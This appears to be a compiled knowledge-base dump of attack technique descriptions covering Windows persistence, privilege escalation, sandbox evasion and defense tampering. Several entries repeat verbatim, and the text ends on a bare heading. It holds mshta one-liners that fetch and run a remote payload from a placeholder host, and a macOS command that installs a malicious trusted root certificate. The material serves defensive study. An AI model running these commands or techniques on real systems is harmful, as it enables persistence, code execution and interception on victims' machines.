Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.


An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.


When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.


T1546.002
Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:WindowsSystem32, and C:WindowssysWOW64 on 64-bit Windows systems, along with screensavers included with base Windows installations.


The following screensaver settings are stored in the Registry (HKCUControl PanelDesktop) and could be manipulated to achieve persistence:


* SCRNSAVE.exe – set to malicious PE path

* ScreenSaveActive – set to ‘1’ to enable the screensaver

* ScreenSaverIsSecure – set to ‘0’ to not require a password to unlock

* ScreenSaveTimeout – sets user inactivity timeout before screensaver is executed


Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)


T1546.007
Event Triggered Execution: Netsh Helper DLL

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLMSOFTWAREMicrosoftNetsh.


Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)


T1546.012
Event Triggered Execution: Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:dbgntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLMSOFTWARE{Wow6432Node}MicrosoftWindows NTCurrentVersionImage File Execution Options where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)


Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)


Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.


Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)


T1546.013
Event Triggered Execution: PowerShell Profile

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.


PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)


Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)


An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)


T1547.004
Boot or Logon Autostart Execution: Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)


Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)


* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on


Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.


T1547.008
Boot or Logon Autostart Execution: LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)


Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.


T1547.010
Boot or Logon Autostart Execution: Port Monitors

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:WindowsSystem32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLMSYSTEMCurrentControlSetControlPrintMonitors.


The Registry key contains entries for the following:


* Local Port

* Standard TCP/IP Port

* USB Monitor

* WSD Port


Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.


T1547.012
Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)


Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.


For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)


The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


T1574.007
Hijack Execution Flow: Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.


Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.


For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)


Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)


T1574.011
Hijack Execution Flow: Services Registry Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLMSYSTEMCurrentControlSetServices. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)


If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).


Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)


The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)


Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesservicenameParametersServiceDll.(Citation: malware_hides_service)


TA0005
Defense Evasion

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)


Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)


Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.


T1036.007
Masquerading: Double File Extension

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)


Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)


Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.


T1055.003
Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.


Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)


This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.


T1134.001
Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.


An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.


When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.


T1134.003
Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.


This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.


T1204.002
User Execution: Malicious File

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.


Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)


While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.


T1218.005
System Binary Proxy Execution: Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)


Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)


Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))


They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta


Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)


T1222.001
File and Directory Permissions Modification: Windows File and Directory Permissions Modification

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).


Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)


Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.


T1497.001
Virtualization/Sandbox Evasion: System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.


Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.


Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.


Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)


T1497.002
Virtualization/Sandbox Evasion: User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)


T1497.003
Virtualization/Sandbox Evasion: Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.


Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)


Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)


Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)


T1518
Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.


T1553.004
Subvert Trust Controls: Install Root Certificate

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.


Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)


Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)


Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)


In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)


T1556.003
Modify Authentication Process: Pluggable Authentication Modules

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)


Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)


Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)


T1562.001
Impair Defenses: Disable or Modify Tools

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)


Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)


Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)


On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)


In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.


Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)


Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)


T1562.009
Impair Defenses: Safe Mode Boot

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)


Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)


Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)


T1574.007
Hijack Execution Flow: Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.


Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.


For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)


Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)


T1574.011
Hijack Execution Flow: Services Registry Permissions Weakness

